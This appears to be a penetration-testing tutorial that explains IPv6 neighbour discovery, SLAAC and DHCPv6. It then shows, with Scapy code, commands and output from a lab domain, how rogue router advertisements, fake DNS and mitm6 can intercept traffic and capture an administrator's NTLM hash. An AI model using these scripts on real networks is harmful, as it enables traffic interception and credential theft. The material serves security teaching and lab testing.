An Introduction to IPv6
This section assumes you are already familiar with IPv4, and aims to highlight the differences between the protocols.
IPv6 uses 128-bits for addressing, which are represented as eight blocks of hexadecimal characters. For instance, the following is an IPv6 address;
FE80:0000:0000:0000:3302:016A:EDE1:5CCC
Addresses can be shorted by removing consecutive blocks of zeros;
FE80::3302:16A:EDE1:5CCC
64-bits are used to specify a network address, and the remaining 64-bits are reserved for hosts. CIDR notation can be used to specify the number of bits allocated to the host portion of the address.
ipcalc fe80::3302:16a:ede1:5ccc/64
Address: fe80::3302:16a:ede1:5ccc 1111111010000000:0000000000000000:0000000000000000:0000000000000000:0011001100000010:0000000101101010:1110110111100001:0101110011001100
Netmask: 64 1111111111111111:1111111111111111:1111111111111111:1111111111111111:0000000000000000:0000000000000000:0000000000000000:0000000000000000
Prefix: fe80::/64 1111111010000000:0000000000000000:0000000000000000:0000000000000000:0000000000000000:0000000000000000:0000000000000000:0000000000000000
IP Address Types
Global Unicast addresses are similar to IPv4 public IP addresses. They are globally identifiable and uniquely addressable.
Link-local Unicast addresses are reserved for local communication and will not be forwarded by routers. The address range fe80::/10 is reserved for this purpose.
Loopback addresses – Similar to loopback addresses in IPv4, these can be communicated with using ::1.
Site-Local Unicast addresses – these were deprecated in RFC 3879, so won’t be discussed further. However you may come across them in other documentation.
Communication Types
IPv6 supports three ways of transmitting information;
Unicast addressing identify a single interface.
Multicast addressing identify a group of interfaces. IPv4 broadcast addresses are replaced with multicast addresses in IPv6. Multicast address assignment is defined in RFC 2375. The following are two important multicast addresses;
- ff02::1 – All nodes on the local network segment
- ff02::2 – All routers on the local network segment
Anycast addressing identify a set of interfaces similar to multicast addresses. However, packets are only delivered to one host in the group. This could be useful for load balancing.
Discovering Local Neighbours
The Address Resolution Protocol (ARP) is not used in IPv6. Instead, the Neighbour Discovery Protocol (NDP) is used to determine the link-layer addresses of neighbouring hosts. Five message types are supported;
- Router Advertisement
- Router Solicitation
- Neighbor Solicitation
- Neighbor Advertisement
- Redirect
When a client connects to a network, it will automatically generate a link-local address in the range fe80::/10. This is typically based off the devices MAC address, but if IPv6 privacy extensions are used this will be based on a random value. With the address in place, the device sends a Duplicate Address Detection (DAD) ICMPv6 packet out of the interface to check if there is an address conflict on the local subnet.
Assuming there is no address conflict, to start communication the sending host will send a Neighbour Solicitation packet. The recipient host replies to this with a Neighbour Advertisement packet.
We can use Scapy for Python to generate neighbour solicitation packets;
from scapy.all import *
i=IPv6()
# Destination / Source / Interface
q = scapy.layers.inet6.neighsol('fe80::7297:41ff:fe2d:da57','fe80::3302:16a:ede1:5ccc','eth0',timeout=5)
print(q)
Running the code shows the IPv6 address fe80::7297:41ff:fe2d:da57 has the MAC address of 70:97:41:2d:da:57;
sudo python3 ipv6_neighbour_solicitation.py
Ether / IPv6 / ICMPv6ND_NA / ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address 70:97:41:2d:da:57
In Linux, the ip command can be used to print cached IPv6 neighbours (similar to the arp command used in IPv4).
ip -6 neighbour
fe80::d8cb:7cff:fe6f:e24 dev eth0 lladdr da:cb:7c:6f:0e:24 router STALE
fe80::87a:59c7:5c3a:bb5 dev eth0 lladdr 3a:fb:f2:71:31:38 STALE
fe80::7297:41ff:fe2d:da57 dev eth0 lladdr 70:97:41:2d:da:57 router DELAY
fe80::8639:beff:fe67:edae dev eth0 lladdr 84:39:be:67:ed:ae REACHABLE
fe80::3302:16a0:ede1:5ccc dev eth0 FAILED
Global Address Assignment
With a Link Local address configured, we can now request a Global address to communicate with the rest of the Internet. There are two methods for dynamically assigning global IP addresses in IPv6.
- Stateless Address Auto Configuration (SLAAC)
- Dynamic Host Configuration Protocol Version 6 (DHCPv6)
Let’s look at SLAAC operation first. This is sometimes referred to as Stateless IPv6 assignment in routers.
SLAAC
The device sends a Router Solicitation (RS) message which a router responds to with a Router Advertisement (RA). The RA specifies the global unicast prefix in use for the network. The client uses this value to create a Global Unicast Address, and sets it’s default gateway to the address of the router that responded to it. Note that unlike IPv4 DHCP the router is not issuing the device an IP address, it is deciding it’s own address.
SLAAC can configure a DNS server using the Recursive DNS Server (RDNSS) option. However, although Linux and MacOS support this, only more recent versions of Windows (from Windows 10 “Creators” update) support RDNSS. For older Windows hosts, DHCPv6 must also be used to provide DNS server addresses.
Similarly to identifying hosts on the network, we can also query active routers with Scapy by sending NDP packets;
from scapy.all import *
base=IPv6(dst='FF02::2')
router_solicitation=ICMPv6ND_RS()
packet=base/router_solicitation
packet.show()
resp = sr1(packet)
print("Router IPv6 Address: " + resp.src)
print("Router MAC Address: " + resp.lladdr)
print("Network Prefix: " + resp.prefix)
print("Network Prefix Length: " + str(resp.prefixlen))
print("DNS Server Addresses: " + str(resp.dns))
print("Recived packet:")
print(resp.answers)
sudo python3 ipv6_router_solicitation.py
###[ IPv6 ]###
version = 6
tc = 0
fl = 0
plen = None
nh = ICMPv6
hlim = 255
src = fe80::3302:16a:ede1:5ccc
dst = ff02::2
###[ ICMPv6 Neighbor Discovery - Router Solicitation ]###
type = Router Solicitation
code = 0
cksum = None
res = 0
Begin emission:
Finished sending 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
Router IPv6 Address: fe80::7297:41ff:fe2d:da57
Router MAC Address: 70:97:41:2d:da:57
Network Prefix: 2a00:23c7:31d1:a101::
Network Prefix Length: 64
DNS Server Addresses: ['fe80::7297:41ff:fe2d:da57']
Recived packet:
<bound method IPv6.answers of <IPv6 version=6 tc=0 fl=0 plen=88 nh=ICMPv6 hlim=255 src=fe80::7297:41ff:fe2d:da57 dst=ff02::1 |<ICMPv6ND_RA type=Router Advertisement code=0 cksum=0xae6 chlim=64 M=0 O=1 H=0 prf=Medium (default) P=0 res=0 routerlifetime=180 reachabletime=0 retranstimer=0 |<ICMPv6NDOptPrefixInfo type=3 len=4 prefixlen=64 L=1 A=1 R=1 res1=0 validlifetime=0x12c preferredlifetime=0x78 res2=0x0 prefix=2a00:23c7:31d1:a101:: |<ICMPv6NDOptRDNSS type=25 len=3 res=0 lifetime=60 dns=[ fe80::7297:41ff:fe2d:da57 ] |<ICMPv6NDOptMTU type=5 len=1 res=0x0 mtu=1492 |<ICMPv6NDOptSrcLLAddr type=1 len=1 lladdr=70:97:41:2d:da:57 |>>>>>>>
Our system will use the network prefix from the response to assign a global address. The default gateway in the routing table will be updated to include the link local address of the router.
ip -6 a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 state UNKNOWN qlen 1000
inet6 ::1/128 scope host noprefixroute
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 state UP qlen 1000
inet6 2a00:23c7:31d1:a101:6418:1a34:3bc3:8e7d/64 scope global dynamic noprefixroute
valid_lft 272sec preferred_lft 92sec
inet6 fe80::3302:16a:ede1:5ccc/64 scope link noprefixroute
valid_lft forever preferred_lft forever
ip -6 r s
2a00:23c7:31d1:a101::/64 dev eth0 proto ra metric 100 pref medium
fe80::/64 dev eth0 proto kernel metric 1024 pref medium
default via fe80::7297:41ff:fe2d:da57 dev eth0 proto ra metric 100 pref medium
DHCPv6
Older versions of Windows 10 and earlier operating systems did not support RDNSS, and as such a DHCPv6 server was required even if SLAAC was in use.
- The client sends a neighbour solicit message to the multicast address (FF02)
- The DNS server responds with an advertise message
- The client send a request message to confirm it was an address
- The server responds with a reply packet to confirm the issued lease
This sequence can be seen in packet sniffer output;
fe80::8639:beff:fe67:edae ff02::1:2 DHCPv6 137 Solicit XID: 0x557c04 CID: 00020000ab111851c7f60327da91
fe80::3302:16a:ede1:5ccc fe80::8639:beff:fe67:edae DHCPv6 184 Advertise XID: 0x557c04 CID: 00020000ab111851c7f60327da91 IAA: fe80::2171:7
fe80::8639:beff:fe67:edae ff02::1:2 DHCPv6 175 Request XID: 0x79b21f IAA: fe80::2171:7 CID: 00020000ab111851c7f60327da91
fe80::3302:16a:ede1:5ccc fe80::8639:beff:fe67:edae DHCPv6 184 Reply XID: 0x79b21f CID: 00020000ab111851c7f60327da91 IAA: fe80::2171:7
Mapping IPv6 Networks
With a basic understanding of IPv6, we can now look at it’s security ramifications, starting with how we can map IPv6 network hosts to perform further attacks.
We can ping the all nodes address (FF02::1) to discover hosts with IPv6 enabled.
ping6 FF02::1
PING FF02::1(ff02::1) 56 data bytes
64 bytes from fe80::3302:16a:ede1:5ccc%eth0: icmp_seq=1 ttl=64 time=0.038 ms
64 bytes from fe80::7297:41ff:fe2d:da57%eth0: icmp_seq=1 ttl=64 time=3.53 ms
64 bytes from fe80::8639:beff:fe67:edae%eth0: icmp_seq=1 ttl=64 time=4.24 ms
64 bytes from fe80::3302:16a:ede1:5ccc%eth0: icmp_seq=2 ttl=64 time=0.052 ms
64 bytes from fe80::7297:41ff:fe2d:da57%eth0: icmp_seq=2 ttl=64 time=3.36 ms
64 bytes from fe80::8639:beff:fe67:edae%eth0: icmp_seq=2 ttl=64 time=4.05 ms
64 bytes from fe80::3302:16a:ede1:5ccc%eth0: icmp_seq=3 ttl=64 time=0.040 ms
64 bytes from fe80::7297:41ff:fe2d:da57%eth0: icmp_seq=3 ttl=64 time=4.29 ms
64 bytes from fe80::8639:beff:fe67:edae%eth0: icmp_seq=3 ttl=64 time=4.96 ms
64 bytes from fe80::3302:16a:ede1:5ccc%eth0: icmp_seq=4 ttl=64 time=0.057 ms
64 bytes from fe80::7297:41ff:fe2d:da57%eth0: icmp_seq=4 ttl=64 time=3.10 ms
64 bytes from fe80::8639:beff:fe67:edae%eth0: icmp_seq=4 ttl=64 time=4.21 ms
If we scan hosts using NMap, you may see all ports being listed as “tcpwrapped”.
This is because the sending interface needs to be specified. This can be done either using the “-e” NMap flag, or appending the interface to the target address as seen below.
nmap -6 fe80::7911:7dc8:28f4:ae52%eth0 -Pn -sV
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-29 14:32 BST
Nmap scan report for fe80::7911:7dc8:28f4:ae52
Host is up (0.00076s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-29 13:32:05Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: bordergate.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: bordergate.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.30 seconds
Ncat can then be used to connect to individual services;
ncat -6 fe80::7911:7dc8:28f4:ae52%eth0 445 -v
Passive Host Discovery
Most IPv6 ranges are very large (i.e /64 networks), so NMap scanning them is infeasible. To discover the addresses of hosts on the network, it’s best to monitor for neighbour discovery packets. This can be done using the following code;
from scapy.all import *
def print_packet(packet):
if IPv6 in packet:
summary = packet[IPv6].summary()
if (packet[IPv6].src == '::'):
src = packet[IPv6].src + '(DAD)'
else:
src = packet[IPv6].src
dst = packet[IPv6].dst
print(src + ' / ' + dst + ' / ' + summary )
sniff(lfilter=lambda pkt: ICMPv6ND_NS in pkt, prn=print_packet)
Running the code will show the addresses of hosts communicating on the local subnet;
sudo python3 sniff_ipv6.py
::(DAD) / ff02::1:ffae:f3ce / IPv6 / ICMPv6 Neighbor Discovery - Neighbor Solicitation (tgt: fe80::bd71:c8bb:b8ae:f3ce)
fe80::bd71:c8bb:b8ae:f3ce / ff02::1:ffe1:5ccc / IPv6 / ICMPv6ND_NS / ICMPv6 Neighbor Discovery Option - Source Link-Layer Address 08:00:27:0a:62:ea
::(DAD) / ff02::1:ff3a:5b59 / IPv6 / ICMPv6 Neighbor Discovery - Neighbor Solicitation (tgt: dead:beef:dead:beef:c978:24c2:e63a:5b59)
::(DAD) / ff02::1:ff41:9003 / IPv6 / ICMPv6 Neighbor Discovery - Neighbor Solicitation (tgt: dead:beef:dead:beef:ac4f:dff1:9d41:9003)
fe80::bd71:c8bb:b8ae:f3ce / ff02::1:ffe1:5ccc / IPv6 / ICMPv6ND_NS / ICMPv6 Neighbor Discovery Option - Source Link-Layer Address 08:00:27:0a:62:ea
fe80::7297:41ff:fe2d:da57 / ff02::1:ff3a:5b59 / IPv6 / ICMPv6ND_NS / ICMPv6 Neighbor Discovery Option - Source Link-Layer Address 70:97:41:2d:da:57
fe80::7297:41ff:fe2d:da57 / ff02::1:ff33:1d7a / IPv6 / ICMPv6ND_NS / ICMPv6 Neighbor Discovery Option - Source Link-Layer Address 70:97:41:2d:da:57
fe80::7297:41ff:fe2d:da57 / ff02::1:ff3c:97c7 / IPv6 / ICMPv6ND_NS / ICMPv6 Neighbor Discovery Option - Source Link-Layer Address 70:97:41:2d:da:57
fe80::29:ab3e:4e26:77d5 / fe80::3302:16a:ede1:5ccc / IPv6 / ICMPv6ND_NS / ICMPv6 Neighbor Discovery Option - Source Link-Layer Address ba:91:30:92:2b:a2
fe80::7297:41ff:fe2d:da57 / ff02::1:ff33:1d7a / IPv6 / ICMPv6ND_NS / ICMPv6 Neighbor Discovery Option - Source Link-Layer Address 70:97:41:2d:da:57
fe80::7297:41ff:fe2d:da57 / ff02::1:ff3c:97c7 / IPv6 / ICMPv6ND_NS / ICMPv6 Neighbor Discovery Option - Source Link-Layer Address 70:97:41:2d:da:57
fe80::3302:16a:ede1:5ccc / fe80::29:ab3e:4e26:77d5 / IPv6 / ICMPv6ND_NS / ICMPv6 Neighbor Discovery Option - Source Link-Layer Address 08:00:27:b1:9d:67
fe80::7297:41ff:fe2d:da57 / ff02::1:ff33:1d7a / IPv6 / ICMPv6ND_NS / ICMPv6 Neighbor Discovery Option - Source Link-Layer Address 70:97:41:2d:da:57
fe80::7297:41ff:fe2d:da57 / ff02::1:ff3c:97c7 / IPv6 / ICMPv6ND_NS / ICMPv6 Neighbor Discovery Option - Source Link-Layer Address 70:97:41:2d:da:57
fe80::3302:16a:ede1:5ccc / fe80::bd71:c8bb:b8ae:f3ce / IPv6 / ICMPv6ND_NS / ICMPv6 Neighbor Discovery Option - Source Link-Layer Address 08:00:27:b1:9d:67
fe80::bd71:c8bb:b8ae:f3ce / ff02::1:ffe1:5ccc / IPv6 / ICMPv6ND_NS / ICMPv6 Neighbor Discovery Option - Source Link-Layer Address 08:00:27:0a:62:ea
Man in the Middle Attacks
It should be fairly obvious at this point that you could just spoof NDP SLAAC packets to set your computer as the networks default gateway and intercept traffic.
SLAAC MITM
Once again, we can use Scapy to send out router advertisement packets with the RDNSS option set to the attacker system;
from scapy.all import *
import time
g=IPv6(src='fe80::3302:16a:ede1:5ccc',dst='ff02::1')
h=ICMPv6ND_RA(M=0,O=0)
rdns = ICMPv6NDOptRDNSS(dns=['fe80::3302:16a:ede1:5ccc'])
i=ICMPv6NDOptPrefixInfo(prefixlen=64, prefix="dead:beef:dead:beef::",L=1,A=1)
pkt = g / h / i / rdns
while (True):
send(pkt)
time.sleep(5)
Checking the IP configuration of a Windows host on the network, we can see the malicious DNS server has been added;
Ethernet adapter Ethernet:
Connection-specific DNS Suffix . : home
Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Desktop Adapter
Physical Address. . . . . . . . . : 08-00-27-0A-62-EA
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IPv6 Address. . . . . . . . . . . : dead:beef:dead:beef:c978:24c2:e63a:5b59(Preferred)
Temporary IPv6 Address. . . . . . : dead:beef:dead:beef:d514:dfcf:ed0d:c2fc(Preferred)
Link-local IPv6 Address . . . . . : fe80::bd71:c8bb:b8ae:f3ce%6(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.1.97(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Lease Obtained. . . . . . . . . . : 03 October 2023 18:14:42
Lease Expires . . . . . . . . . . : 04 October 2023 18:14:41
Default Gateway . . . . . . . . . : fe80::3302:16a:ede1:5ccc%6
192.168.1.254
DHCP Server . . . . . . . . . . . : 192.168.1.254
DHCPv6 IAID . . . . . . . . . . . : 101187623
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-2B-DD-95-14-08-00-27-0A-62-EA
DNS Servers . . . . . . . . . . . : 192.168.1.205
fe80::3302:16a:ede1:5ccc%6
NetBIOS over Tcpip. . . . . . . . : Enabled
At this point, we can start a fake DNS server that forwards all traffic to our host. atk6-fake_dns6d, which is available in the Kali repository can do this for us;
sudo atk6-fake_dns6d eth0 fe80::3302:16a:ede1:5ccc/64
Starting fake dns6 server on eth0 for fe80::3302:16a:ede1:5ccc/64 (Press Control-C to end) ...
Spoofed settings.prod.sea.2.southeastasia.cloudapp.azure.com to dead:beef:dead:beef:7911:7dc8:28f4:ae52 as source 2a01:111:4000:700::1
Spoofed test1234.local to fe80::7911:7dc8:28f4:ae52 as source fe80::3302:16a:ede1:5ccc
Spoofed test1234.local to fe80::7911:7dc8:28f4:ae52 as source fe80::3302:16a:ede1:5ccc
Spoofed test1234.local to fe80::7911:7dc8:28f4:ae52 as source fe80::3302:16a:ede1:5ccc
Spoofed test1234.local to fe80::7911:7dc8:28f4:ae52 as source fe80::3302:16a:ede1:5ccc
Next, to capture credentials using impacket-smbserver we need to add an IPv6 to IPv4 port forward. When the target system accesses a file share using SMB, we will then capture their password hash.
sudo 6tunnel -6 -l fe80::3302:16a:ede1:5ccc%eth0 445 127.0.0.1 445
ss -ltp -6
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 100 [fe80::3302:16a:ede1:5ccc]%eth0:microsoft-ds [::]:*
impacket-smbserver -smb2support Shared Shared
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (127.0.0.1,45728)
[*] AUTHENTICATE_MESSAGE (BORDERGATE\Administrator,DC01)
[*] User DC01\Administrator authenticated successfully
[*] Administrator::BORDERGATE:aaaaaaaaaaaaaaaa:<HASH>
DHCPv6 MITM
mitm6.py can be used to perform a similar attack to the one previously demonstrated using DHCPv6. mitm6.py only responds to DHCPv6 with a DNS server set of the attackers machine. A domain can be specified to ensure only internal traffic is intercepted.
sudo python3 mitm6.py -i eth0 -d bordergate.local -v
Starting mitm6 using the following configuration:
Primary adapter: eth0 [08:00:27:b1:9d:67]
IPv4 address: 192.168.1.207
IPv6 address: fe80::3302:16a:ede1:5ccc
DNS local search domain: bordergate.local
DNS allowlist: bordergate.local
IPv6 address fe80::192:168:1:205 is now assigned to mac=08:00:27:18:79:19 host=DC01.bordergate.local. ipv4=192.168.1.205
Sent spoofed reply for wpad.bordergate.local. to fe80::192:168:1:205
IPv6 address fe80::192:168:1:205 is now assigned to mac=08:00:27:18:79:19 host=DC01.bordergate.local. ipv4=192.168.1.205
Sent spoofed reply for wpad.bordergate.local. to fe80::192:168:1:205
Sent spoofed reply for testa.bordergate.local. to fe80::192:168:1:205
By default traffic will be relayed to the attacking host. Running impacket-smbserver allows us to capture the NTLM C/R administrator hash;
impacket-smbserver -smb2support Shared Shared
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (192.168.1.205,60611)
[*] AUTHENTICATE_MESSAGE (BORDERGATE\Administrator,DC01)
[*] User DC01\Administrator authenticated successfully
[*] Administrator::BORDERGATE:aaaaaaaaaaaaaaaa:<HASH>
In Conclusion
IPv6 is enabled by default in most modern Operating Systems, but not all networks are configured to use it. This makes IPv6 a viable alternative for Man in the Middle attacks, instead of using IPv4 protocols such as NBNS/LLMNR.
In addition, you may find hosts with discrepancies between their IPv4 and IPv6 firewall configurations.